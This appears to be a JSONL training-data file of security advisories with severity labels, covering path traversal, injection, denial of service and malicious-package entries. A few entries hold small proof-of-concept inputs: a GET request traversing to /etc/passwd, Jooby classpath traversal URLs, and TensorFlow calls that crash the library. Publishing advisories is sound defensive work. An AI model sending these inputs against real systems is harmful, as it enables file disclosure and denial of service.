-{"id": "41337a3e1daaffcc93b9", "text": "Open Redirect in showdoc\n\nshowdoc is vulnerable to URL Redirection to Untrusted Site", "text_raw": "Open Redirect in showdoc\n\n[Severity: MEDIUM]\n\nshowdoc is vulnerable to URL Redirection to Untrusted Site", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "a0915fa9e38185b8b54f", "text": "Duplicate Advisory: Improper Verification of Cryptographic Signature\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-7r96-8g3x-g36m. This link is maintained to preserve external references.\n\n## Original Description\ntEnvoy contains the PGP, NaCl, and PBKDF2 in node.js and the browser (hashing, random, encryption, decryption, signatures, conversions), used by TogaTech.org. In versions prior to 7.0.3, the `verifyWithMessage` method of `tEnvoyNaClSigningKey` always returns `true` for any signature that has a SHA-512 hash matching the SHA-512 hash of the message even if the signature was invalid. This issue is patched in version 7.0.3. As a workaround: In `tenvoy.js` under the `verifyWithMessage` method definition within the `tEnvoyNaClSigningKey` class, ensure that the return statement call to `this.verify` ends in `.verified`.", "text_raw": "Duplicate Advisory: Improper Verification of Cryptographic Signature\n\n[Severity: CRITICAL]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-7r96-8g3x-g36m. This link is maintained to preserve external references.\n\n## Original Description\ntEnvoy contains the PGP, NaCl, and PBKDF2 in node.js and the browser (hashing, random, encryption, decryption, signatures, conversions), used by TogaTech.org. In versions prior to 7.0.3, the `verifyWithMessage` method of `tEnvoyNaClSigningKey` always returns `true` for any signature that has a SHA-512 hash matching the SHA-512 hash of the message even if the signature was invalid. This issue is patched in version 7.0.3. As a workaround: In `tenvoy.js` under the `verifyWithMessage` method definition within the `tEnvoyNaClSigningKey` class, ensure that the return statement call to `this.verify` ends in `.verified`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "dd73090af8beaba1b3b2", "text": "Command injection in gitlog\n\nThe gitlog function in src/index.ts in gitlog before 4.0.4 has a command injection vulnerability.", "text_raw": "Command injection in gitlog\n\n[Severity: CRITICAL]\n\nThe gitlog function in src/index.ts in gitlog before 4.0.4 has a command injection vulnerability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "45887f467b8a088058e4", "text": "Bad alloc in `StringNGrams` caused by integer conversion\n\n### Impact\nThe implementation of `tf.raw_ops.StringNGrams` is vulnerable to an integer overflow issue caused by converting a signed integer value to an unsigned one and then allocating memory based on this value.\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.StringNGrams(\n  data=['',''],\n  data_splits=[0,2],\n  separator=' '*100,\n  ngram_widths=[-80,0,0,-60],\n  left_pad=' ',\n  right_pad=' ',\n  pad_width=100,\n  preserve_short_sequences=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/string_ngrams_op.cc#L184) calls `reserve` on a `tstring` with a value that sometimes can be negative if user supplies negative `ngram_widths`. The `reserve` method calls `TF_TString_Reserve` which has an `unsigned long` argument for the size of the buffer. Hence, the implicit conversion transforms the negative value to a large integer.\n\n### Patches\nWe have patched the issue in GitHub commit [c283e542a3f422420cfdb332414543b62fc4e4a5](https://github.com/tensorflow/tensorflow/commit/c283e542a3f422420cfdb332414543b62fc4e4a5).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Bad alloc in `StringNGrams` caused by integer conversion\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementation of `tf.raw_ops.StringNGrams` is vulnerable to an integer overflow issue caused by converting a signed integer value to an unsigned one and then allocating memory based on this value.\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.StringNGrams(\n  data=['',''],\n  data_splits=[0,2],\n  separator=' '*100,\n  ngram_widths=[-80,0,0,-60],\n  left_pad=' ',\n  right_pad=' ',\n  pad_width=100,\n  preserve_short_sequences=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/string_ngrams_op.cc#L184) calls `reserve` on a `tstring` with a value that sometimes can be negative if user supplies negative `ngram_widths`. The `reserve` method calls `TF_TString_Reserve` which has an `unsigned long` argument for the size of the buffer. Hence, the implicit conversion transforms the negative value to a large integer.\n\n### Patches\nWe have patched the issue in GitHub commit [c283e542a3f422420cfdb332414543b62fc4e4a5](https://github.com/tensorflow/tensorflow/commit/c283e542a3f422420cfdb332414543b62fc4e4a5).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "72fd0e8c46cc50050331", "text": "web@all CMS 2.0 (_order) SQL Injection Vulnerability", "text_raw": "web@all CMS 2.0 (_order) SQL Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-08-23", "split": "train"}
-{"id": "2fba5490f0e728c976b5", "text": "Baidu Spark Browser v26.5.9999.3511 Remote Stack Overflow Vulnerability (DoS)", "text_raw": "Baidu Spark Browser v26.5.9999.3511 Remote Stack Overflow Vulnerability (DoS)\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-06-30", "split": "train"}
-{"id": "23cfcc70aff0d3f38056", "text": "Microsoft MSHTML Remote Code Execution Vulnerability\n\nAffected: Microsoft MSHTML\n\nMicrosoft MSHTML contains a unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft MSHTML Remote Code Execution Vulnerability\n\nAffected: Microsoft MSHTML\n\nMicrosoft MSHTML contains a unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6a661ee7e2c1bb5f16d3", "text": "Directory traversal in Django\n\nDirectory traversal vulnerability in Django 1.1.x before 1.1.4 and 1.2.x before 1.2.5 on Windows might allow remote attackers to read or execute files via a / (slash) character in a key in a session cookie, related to session replays.", "text_raw": "Directory traversal in Django\n\n[Severity: CRITICAL]\n\nDirectory traversal vulnerability in Django 1.1.x before 1.1.4 and 1.2.x before 1.2.5 on Windows might allow remote attackers to read or execute files via a / (slash) character in a key in a session cookie, related to session replays.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "aa2da8721f868dc144c6", "text": "Denial of Service in ethereumjs-vm\n\nethereumjs-vm 2.4.0 allows attackers to cause a denial of service (vm.runCode failure and REVERT) via a \"code: Buffer.from(my_code, 'hex')\" attribute.", "text_raw": "Denial of Service in ethereumjs-vm\n\n[Severity: HIGH]\n\nethereumjs-vm 2.4.0 allows attackers to cause a denial of service (vm.runCode failure and REVERT) via a \"code: Buffer.from(my_code, 'hex')\" attribute.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "ed9d161a655bd18d40ff", "text": "IBM Cognos Business Intelligence Developer 10.2.1 (backURL) Open Redirect", "text_raw": "IBM Cognos Business Intelligence Developer 10.2.1 (backURL) Open Redirect\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-05-28", "split": "train"}
-{"id": "c9b36ad4c55208042f80", "text": "Directory Traversal in nhouston\n\nAll versions of the static file server module nhouston are vulnerable to directory traversal. An attacker can provide input such as `../` to read files outside of the served directory.\n\n## Recommendation\n\nIt is recommended that a different module be used, as we have been unable to reacher the maintainer of this module. We will continue to reach out to them, and if an update becomes available that fixes the issue, we will update this advisory accordingly.", "text_raw": "Directory Traversal in nhouston\n\n[Severity: MEDIUM]\n\nAll versions of the static file server module nhouston are vulnerable to directory traversal. An attacker can provide input such as `../` to read files outside of the served directory.\n\n\n## Recommendation\n\nIt is recommended that a different module be used, as we have been unable to reacher the maintainer of this module. We will continue to reach out to them, and if an update becomes available that fixes the issue, we will update this advisory accordingly.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "7ad6182cd12ac97ac5e3", "text": "path traversal in Jooby\n\n### Impact\nAccess to sensitive information available from classpath.\n\n### Patches\nPatched version: 1.6.7 and 2.8.2\n\nCommit 1.x: https://github.com/jooby-project/jooby/commit/34f526028e6cd0652125baa33936ffb6a8a4a009\n\nCommit 2.x: https://github.com/jooby-project/jooby/commit/c81479de67036993f406ccdec23990b44b0bec32\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n\nLatest 1.x version: 1.6.6\n\n#### Arbitrary class path resource access 1\nWhen sharing a *File System* directory as in:\n\n``` java\nassets(\"/static/**\", Paths.get(\"static\"));\n```\n\nThe class path is also searched for the file (`org.jooby.handlers.AssetHandler.loader`):\n[jooby/AssetHandler.java at 1.x · jooby-project/jooby · GitHub](https://github.com/jooby-project/jooby/blob/1.x/jooby/src/main/java/org/jooby/handlers/AssetHandler.java)\n\n``` java\n  private static Loader loader(final Path basedir, final ClassLoader classloader) {\n    if (Files.exists(basedir)) {\n      return name -> {\n        Path path = basedir.resolve(name).normalize();\n        if (Files.exists(path) && path.startsWith(basedir)) {\n          try {\n            return path.toUri().toURL();\n          } catch (MalformedURLException x) {\n            // shh\n          }\n        }\n        return classloader.getResource(name);\n      };\n    }\n    return classloader::getResource;\n  }\n```\n\nIf we send `/static/WEB-INF/web.xml` it will fail to load it from the file system but will go into `classloader.getResource(name)` where name equals `/WEB-INF/web.xml` so will succeed and return the requested file. This way we can get any configuration file or even the application class files\n\nIf assets are configured for a certain extension we can still bypass it. eg:\n\n```java\nassets(\"/static/**/*.js\", Paths.get(\"static\"));\n```\n\nWe can send:\n\n```\nhttp://localhost:8080/static/io/yiss/App.class.js\n```\n\n#### Arbitrary class path resource access 2\nThis vulnerability also affects assets configured to access resources from the root of the class path. eg:\n\n```java\nassets(\"/static/**\");\n```\n\nIn this case we can traverse `static` by sending:\n\n```\nhttp://localhost:8080/static/..%252fio/yiss/App.class\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [jooby](https://github.com/jooby-project/jooby/issues)\n* Email us at [support@jooby.io](mailto:support@jooby.io)", "text_raw": "path traversal in Jooby\n\n[Severity: MEDIUM]\n\n### Impact\nAccess to sensitive information available from classpath. \n\n### Patches\nPatched version: 1.6.7 and 2.8.2\n\nCommit 1.x: https://github.com/jooby-project/jooby/commit/34f526028e6cd0652125baa33936ffb6a8a4a009\n\nCommit 2.x: https://github.com/jooby-project/jooby/commit/c81479de67036993f406ccdec23990b44b0bec32\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n\nLatest 1.x version: 1.6.6\n\n#### Arbitrary class path resource access 1\nWhen sharing a *File System* directory as in:\n\n``` java\nassets(\"/static/**\", Paths.get(\"static\"));\n```\n\nThe class path is also searched for the file (`org.jooby.handlers.AssetHandler.loader`):\n[jooby/AssetHandler.java at 1.x · jooby-project/jooby · GitHub](https://github.com/jooby-project/jooby/blob/1.x/jooby/src/main/java/org/jooby/handlers/AssetHandler.java)\n\n``` java\n  private static Loader loader(final Path basedir, final ClassLoader classloader) {\n    if (Files.exists(basedir)) {\n      return name -> {\n        Path path = basedir.resolve(name).normalize();\n        if (Files.exists(path) && path.startsWith(basedir)) {\n          try {\n            return path.toUri().toURL();\n          } catch (MalformedURLException x) {\n            // shh\n          }\n        }\n        return classloader.getResource(name);\n      };\n    }\n    return classloader::getResource;\n  }\n```\n\nIf we send `/static/WEB-INF/web.xml` it will fail to load it from the file system but will go into `classloader.getResource(name)` where name equals `/WEB-INF/web.xml` so will succeed and return the requested file. This way we can get any configuration file or even the application class files\n\nIf assets are configured for a certain extension we can still bypass it. eg:\n\n```java\nassets(\"/static/**/*.js\", Paths.get(\"static\"));\n```\n\nWe can send:\n\n```\nhttp://localhost:8080/static/io/yiss/App.class.js\n```\n\n#### Arbitrary class path resource access 2\nThis vulnerability also affects assets configured to access resources from the root of the class path. eg:\n\n```java\nassets(\"/static/**\");\n```\n\nIn this case we can traverse `static` by sending:\n\n```\nhttp://localhost:8080/static/..%252fio/yiss/App.class\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [jooby](https://github.com/jooby-project/jooby/issues)\n* Email us at [support@jooby.io](mailto:support@jooby.io)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "290482765e16afbe2079", "text": "FaceSentry Access Control System 6.4.8 Remote Root Exploit", "text_raw": "FaceSentry Access Control System 6.4.8 Remote Root Exploit\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2019-06-30", "split": "train"}
-{"id": "b627656bae3ece039105", "text": "Kubernetes kubectl cp Vulnerable to Symlink Attack\n\nThe Kubernetes kubectl cp command in versions 1.1-1.12, and versions prior to 1.13.11, 1.14.7, and 1.15.4 allows a combination of two symlinks provided by tar output of a malicious container to place a file outside of the destination directory specified in the kubectl cp invocation. This could be used to allow an attacker to place a nefarious file using a symlink, outside of the destination tree.", "text_raw": "Kubernetes kubectl cp Vulnerable to Symlink Attack\n\n[Severity: MEDIUM]\n\nThe Kubernetes kubectl cp command in versions 1.1-1.12, and versions prior to 1.13.11, 1.14.7, and 1.15.4 allows a combination of two symlinks provided by tar output of a malicious container to place a file outside of the destination directory specified in the kubectl cp invocation. This could be used to allow an attacker to place a nefarious file using a symlink, outside of the destination tree.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "390b5ddc1dbf52cae1c2", "text": "Infinite loop in Apache Tika\n\nA carefully crafted or corrupt file may trigger an infinite loop in Tika's MP3Parser up to and including Tika 1.25. Apache Tika users should upgrade to 1.26 or later.", "text_raw": "Infinite loop in Apache Tika\n\n[Severity: MEDIUM]\n\nA carefully crafted or corrupt file may trigger an infinite loop in Tika's MP3Parser up to and including Tika 1.25. Apache Tika users should upgrade to 1.26 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "619c2277e272f33d047a", "text": "Critical vulnerability in log4j may affect generated PEAR projects\n\n### Impact\nUIMA PEAR projects that have been generated with the `de.averbis.textanalysis:pear-archetype ` version `2.0.0` have a maven dependency with scope `test` to` log4j 2.8.2` and might be affected by CVE-2021-44228.\n\n### Patches\n- The issue has been resolved in `de.averbis.textanalysis:pear-archetype ` version `2.0.1`. Please make sure to use `de.averbis.textanalysis:pear-archetype ` version >= `2.0.1` for generating new PEAR projects.\n\n- Existing maven PEAR projects can be patched by manually upgrading to `log4j` >= `2.16.0` in `pom.xml`.\n\n### References\nhttps://www.lunasec.io/docs/blog/log4j-zero-day/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/averbis/pear-archetype/issues", "text_raw": "Critical vulnerability in log4j may affect generated PEAR projects\n\n[Severity: CRITICAL]\n\n### Impact\nUIMA PEAR projects that have been generated with the `de.averbis.textanalysis:pear-archetype ` version `2.0.0` have a maven dependency with scope `test` to` log4j 2.8.2` and might be affected by CVE-2021-44228.\n\n### Patches\n- The issue has been resolved in `de.averbis.textanalysis:pear-archetype ` version `2.0.1`. Please make sure to use `de.averbis.textanalysis:pear-archetype ` version >= `2.0.1` for generating new PEAR projects.\n\n- Existing maven PEAR projects can be patched by manually upgrading to `log4j` >= `2.16.0` in `pom.xml`.\n\n\n### References\nhttps://www.lunasec.io/docs/blog/log4j-zero-day/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/averbis/pear-archetype/issues\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "5d050dafa113ec7254c2", "text": "Path Traversal in buttle\n\nAll versions of `buttle` are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths when fetching files.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Path Traversal in buttle\n\n[Severity: HIGH]\n\nAll versions of `buttle` are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths when fetching files. \n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-18", "split": "train"}
-{"id": "1162e8755ccd67920756", "text": "Directory Traversal in fbr-client\n\nAffected versions of `fbr-client` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in fbr-client\n\n[Severity: HIGH]\n\nAffected versions of `fbr-client` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "b07dc7ee3f90541a4938", "text": "Hyperoptic (Tilgin) Router HG23xx Multiple XSS And CSRF Vulnerabilities", "text_raw": "Hyperoptic (Tilgin) Router HG23xx Multiple XSS And CSRF Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-06-14", "split": "train"}
-{"id": "21a5c359535c9028b250", "text": "Directive injection when using dynamic overrides with user input\n\n### Impact\n\nIf user-supplied input was passed into `append/override_content_security_policy_directives`, a semicolon could be injected leading to directive injection.\n\nThis could be used to e.g. override a `script-src` directive. Duplicate directives are ignored and the first one wins. The directives in `secure_headers` are sorted alphabetically so they pretty much all come before `script-src`. A previously undefined directive would receive a value even if `SecureHeaders::OPT_OUT` was supplied.\n\nThe fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s.\n\n> Duplicate script-src directives detected.  All but the first instance will be ignored.\n\nSee https://www.w3.org/TR/CSP3/#parse-serialized-policy\n\n> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.\n\n### Patches\n\nDepending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.\n\n### Workarounds\n\nIf you are passing user input into the above methods, you could filter out the input:\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\";\", \" \")])\n```\n\n### References\n\nReported in https://github.com/twitter/secure_headers/issues/418\nhttps://www.w3.org/TR/CSP3/#parse-serialized-policy\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/issues/new)\n* DM @ndm on twitter", "text_raw": "Directive injection when using dynamic overrides with user input\n\n[Severity: MEDIUM]\n\n### Impact\n\nIf user-supplied input was passed into `append/override_content_security_policy_directives`, a semicolon could be injected leading to directive injection.\n\nThis could be used to e.g. override a `script-src` directive. Duplicate directives are ignored and the first one wins. The directives in `secure_headers` are sorted alphabetically so they pretty much all come before `script-src`. A previously undefined directive would receive a value even if `SecureHeaders::OPT_OUT` was supplied.\n\nThe fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s.\n\n> Duplicate script-src directives detected.  All but the first instance will be ignored.\n\nSee https://www.w3.org/TR/CSP3/#parse-serialized-policy\n\n> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.\n\n### Patches\n\nDepending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.\n\n### Workarounds\n\nIf you are passing user input into the above methods, you could filter out the input:\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\";\", \" \")])\n```\n\n### References\n\nReported in https://github.com/twitter/secure_headers/issues/418\nhttps://www.w3.org/TR/CSP3/#parse-serialized-policy\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/issues/new)\n* DM @ndm on twitter ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-23", "split": "train"}
-{"id": "b0b774723c0569e59b6d", "text": "FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Hard-coded Credentials Shell Access", "text_raw": "FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Hard-coded Credentials Shell Access\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-10-14", "split": "train"}
-{"id": "c072bd18b9916bfc96ed", "text": "Denial of Service in Action Dispatch\n\nImpact\n------\nThere is a possible Denial of Service vulnerability in Action Dispatch. Carefully crafted Accept headers can cause the mime type parser in Action Dispatch to do catastrophic backtracking in the regular expression engine.\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nThe following monkey patch placed in an initializer can be used to work around the issue.\n\n```ruby\nmodule Mime\n  class Type\n    MIME_REGEXP = /\\A(?:\\*\\/\\*|#{MIME_NAME}\\/(?:\\*|#{MIME_NAME})(?>\\s*#{MIME_PARAMETER}\\s*)*)\\z/\n  end\nend\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 6-0-Prevent-catastrophic-backtracking-during-mime-parsin.patch - Patch for 6.0 series\n* 6-1-Prevent-catastrophic-backtracking-during-mime-parsin.patch - Patch for 6.1 series\n\nPlease note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\n\nThanks to Security Curious <security...@pm.me> for reporting this!", "text_raw": "Denial of Service in Action Dispatch\n\n[Severity: HIGH]\n\nImpact\n------\nThere is a possible Denial of Service vulnerability in Action Dispatch. Carefully crafted Accept headers can cause the mime type parser in Action Dispatch to do catastrophic backtracking in the regular expression engine.\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nThe following monkey patch placed in an initializer can be used to work around the issue.\n\n```ruby\nmodule Mime\n  class Type\n    MIME_REGEXP = /\\A(?:\\*\\/\\*|#{MIME_NAME}\\/(?:\\*|#{MIME_NAME})(?>\\s*#{MIME_PARAMETER}\\s*)*)\\z/\n  end\nend\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 6-0-Prevent-catastrophic-backtracking-during-mime-parsin.patch - Patch for 6.0 series\n* 6-1-Prevent-catastrophic-backtracking-during-mime-parsin.patch - Patch for 6.1 series\n\nPlease note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\n\nThanks to Security Curious <security...@pm.me> for reporting this!", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-05", "split": "train"}
-{"id": "a84c58dbf8c01397672e", "text": "Malicious Package in ripedm160\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in ripedm160\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "79bfee0eb5a5ace6678c", "text": "Division by 0 in `DenseCountSparseOutput`\n\n### Impact\nAn attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.DenseCountSparseOutput`:\n\n```python\nimport tensorflow as tf\n\nvalues = tf.constant([], shape=[0, 0], dtype=tf.int64)\nweights = tf.constant([])\n\ntf.raw_ops.DenseCountSparseOutput(\n  values=values, weights=weights,\n  minlength=-1, maxlength=58, binary_output=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efff014f3b2d8ef6141da30c806faf141297eca1/tensorflow/core/kernels/count_ops.cc#L123-L127) computes a divisor value from user data but does not check that the result is 0 before doing the division:\n\n```cc\nint num_batch_elements = 1;\nfor (int i = 0; i < num_batch_dimensions; ++i) {\n  num_batch_elements *= data.shape().dim_size(i);\n}\nint num_value_elements = data.shape().num_elements() / num_batch_elements;\n```\n\nSince `data` is given by the `values` argument, `num_batch_elements` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [da5ff2daf618591f64b2b62d9d9803951b945e9f](https://github.com/tensorflow/tensorflow/commit/da5ff2daf618591f64b2b62d9d9803951b945e9f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, and TensorFlow 2.3.3, as these are also affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Division by 0 in `DenseCountSparseOutput`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.DenseCountSparseOutput`:\n\n```python\nimport tensorflow as tf\n\nvalues = tf.constant([], shape=[0, 0], dtype=tf.int64)\nweights = tf.constant([])\n\ntf.raw_ops.DenseCountSparseOutput(\n  values=values, weights=weights,\n  minlength=-1, maxlength=58, binary_output=True)\n```\n  \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efff014f3b2d8ef6141da30c806faf141297eca1/tensorflow/core/kernels/count_ops.cc#L123-L127) computes a divisor value from user data but does not check that the result is 0 before doing the division:\n\n```cc\nint num_batch_elements = 1;\nfor (int i = 0; i < num_batch_dimensions; ++i) {\n  num_batch_elements *= data.shape().dim_size(i);\n}\nint num_value_elements = data.shape().num_elements() / num_batch_elements;\n```\n\nSince `data` is given by the `values` argument, `num_batch_elements` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [da5ff2daf618591f64b2b62d9d9803951b945e9f](https://github.com/tensorflow/tensorflow/commit/da5ff2daf618591f64b2b62d9d9803951b945e9f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, and TensorFlow 2.3.3, as these are also affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "9786f2ba024de73c9e26", "text": "ConQuest DICOM Server 1.4.17d Remote Stack Buffer Overflow RCE", "text_raw": "ConQuest DICOM Server 1.4.17d Remote Stack Buffer Overflow RCE\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-12-16", "split": "train"}
